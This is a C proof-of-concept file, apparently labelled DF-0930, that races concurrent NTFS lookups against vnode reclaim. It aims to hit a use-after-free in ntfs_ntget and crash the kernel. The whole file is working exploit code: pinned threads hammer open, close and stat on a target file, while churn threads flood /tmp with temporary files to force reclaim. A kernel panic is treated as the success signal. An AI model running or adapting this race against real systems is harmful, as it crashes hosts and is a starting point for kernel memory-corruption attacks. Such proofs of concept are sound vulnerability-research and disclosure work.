DF-0930 / race_ntfs.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 | /* * race_ntfs.c - DF-0930 PoC: race concurrent ntfs_ntlookup() for the same * inode to win the window between ntfs_nthashlookup * (token released at ntfs_ihash.c:100) and ntfs_ntget * (touches ip at ntfs_subr.c:348). A concurrent ntfs_ntput * from vnode reclaim can drop usecount to 0 and kfree(ip), * making ntfs_ntget dereference freed memory. * * Strategy: multiple threads race open()+close() on the same NTFS file; * a churn thread creates thousands of temp files to force the vnode * recycler to reclaim the target vnode (and thus ntfs_ntput the ntnode) * while a lookup thread is in the hash-token-released window. * * Requires: kern.maxvnodes set low (e.g. sysctl kern.maxvnodes=300) to * force aggressive vnode recycling. * * Build: cc -O2 -pthread -o race_ntfs race_ntfs.c * Run: ./race_ntfs /mnt/ntfs/target [seconds] */ #define _GNU_SOURCE #include <pthread.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/stat.h> #include <sys/resource.h> #include <errno.h> static const char *g_path; static volatile int g_stop; static int g_ncpu; static void pin_cpu(int cpu) { cpu_set_t cs; CPU_ZERO(&cs); CPU_SET(cpu % g_ncpu, &cs); pthread_setaffinity_np(pthread_self(), sizeof(cs), &cs); } /* Lookup threads: hammer open()+close() on the target file. * Each open drives VOP_LOOKUP -> ntfs_ntlookupfile -> ntfs_vgetex -> * ntfs_ntlookup -> ntfs_nthashlookup (releases token) -> ntfs_ntget. * Each close makes the vnode eligible for reclaim (v_usecount -> 0). */ static void * thread_lookup(void *arg) { long id = (long)arg; pin_cpu((int)id); while (!g_stop) { int fd = open(g_path, O_RDONLY); if (fd >= 0) close(fd); else if (errno != ENOENT && errno != ESTALE) { /* unexpected error — could be corruption from the race */ fprintf(stderr, "[thread %ld] open errno=%d (%s)\n", id, errno, strerror(errno)); } } return NULL; } /* stat() thread: stat drives a lookup + immediate vnode release without * holding the fd open. This creates a very short vnode lifetime, making * reclaim more likely. */ static void * thread_stat(void *arg) { long id = (long)arg; pin_cpu((int)id); struct stat st; while (!g_stop) { if (stat(g_path, &st) != 0 && errno != ENOENT && errno != ESTALE) { fprintf(stderr, "[stat %ld] errno=%d (%s)\n", id, errno, strerror(errno)); } } return NULL; } /* Churn thread: create/delete thousands of temp files to consume vnodes * and force the recycler to reclaim NTFS vnodes (including the target). */ static void * thread_churn(void *arg) { int cpu = (long)arg; pin_cpu(cpu); char p[64]; while (!g_stop) { for (int j = 0; j < 2000 && !g_stop; j++) { snprintf(p, sizeof(p), "/tmp/df0930_junk_%d_%d", cpu, j); int x = open(p, O_CREAT | O_RDWR, 0600); if (x >= 0) { (void)write(x, "x", 1); close(x); unlink(p); } } } return NULL; } int main(int argc, char **argv) { if (argc < 2) { fprintf(stderr, "usage: %s <ntfs_path> [seconds]\n", argv[0]); return 2; } g_path = argv[1]; int seconds = (argc >= 3) ? atoi(argv[2]) : 60; g_ncpu = sysconf(_SC_NPROCESSORS_ONLN); if (g_ncpu < 2) g_ncpu = 2; int nlookup = g_ncpu < 6 ? 2 : 3; int nstat = 2; int nchurn = g_ncpu < 6 ? 1 : 2; struct rlimit rl = { .rlim_cur = 8192, .rlim_max = 8192 }; setrlimit(RLIMIT_NOFILE, &rl); fprintf(stderr, "[*] DF-0930 race: %d lookup + %d stat + %d churn threads, " "%d cpus, %d sec\n", nlookup, nstat, nchurn, g_ncpu, seconds); fprintf(stderr, "[*] target: %s\n", g_path); fprintf(stderr, "[*] if the kernel panics in ntfs_ntget/lockmgr on a " "freed ntnode, the UAF is confirmed.\n"); pthread_t th[16]; int nth = 0; for (long i = 0; i < nlookup; i++) pthread_create(&th[nth++], NULL, thread_lookup, (void *)i); for (long i = 0; i < nstat; i++) pthread_create(&th[nth++], NULL, thread_stat, (void *)(nlookup + i)); for (long i = 0; i < nchurn; i++) pthread_create(&th[nth++], NULL, thread_churn, (void *)i); sleep(seconds); __sync_fetch_and_or(&g_stop, 1); for (int i = 0; i < nth; i++) pthread_join(th[i], NULL); fprintf(stderr, "[*] race finished without panic. " "The UAF window may be too tight to hit in this run.\n"); return 0; } |